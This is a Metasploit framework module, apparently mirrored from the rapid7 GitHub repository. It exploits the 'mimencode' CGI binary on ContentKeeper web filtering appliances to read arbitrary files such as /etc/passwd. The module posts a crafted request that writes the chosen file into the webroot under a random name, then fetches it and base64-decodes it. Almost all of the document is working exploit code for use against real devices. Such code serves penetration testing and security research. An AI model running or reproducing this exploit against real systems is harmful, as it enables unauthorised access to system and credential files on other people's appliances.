Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
32581 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Scanner
9
10
def initialize
11
super(
12
'Name' => 'ContentKeeper Web Appliance mimencode File Access',
13
'Description' => %q{
14
This module abuses the 'mimencode' binary present within
15
ContentKeeper Web filtering appliances to retrieve arbitrary
16
files outside of the webroot.
17
},
18
'References' => [
19
[ 'CVE', '2009-10005' ],
20
[ 'OSVDB', '54551' ],
21
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
22
],
23
'Author' => [ 'aushack' ],
24
'License' => MSF_LICENSE,
25
'Notes' => {
26
'Stability' => [CRASH_SAFE],
27
'SideEffects' => [IOC_IN_LOGS],
28
'Reliability' => []
29
}
30
)
31
32
register_options(
33
[
34
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
35
OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
36
]
37
)
38
end
39
40
def run_host(_ip)
41
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traversal data in a hard-to-brute filename, just in case.
42
43
print_status("Attempting to connect to #{rhost}:#{rport}")
44
res = send_request_raw(
45
{
46
'method' => 'POST',
47
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']
48
}, 25
49
)
50
51
if res && res.code == 500
52
print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
53
54
file = send_request_raw(
55
{
56
'method' => 'GET',
57
'uri' => '/' + tmpfile
58
}, 25
59
)
60
61
if file && (file.code == 200)
62
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
63
elsif file && file.code
64
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
65
end
66
elsif res && res.code
67
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
68
end
69
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
70
vprint_error(e.message)
71
rescue ::Timeout::Error, ::Errno::EPIPE => e
72
vprint_error(e.message)
73
end
74
end
75
76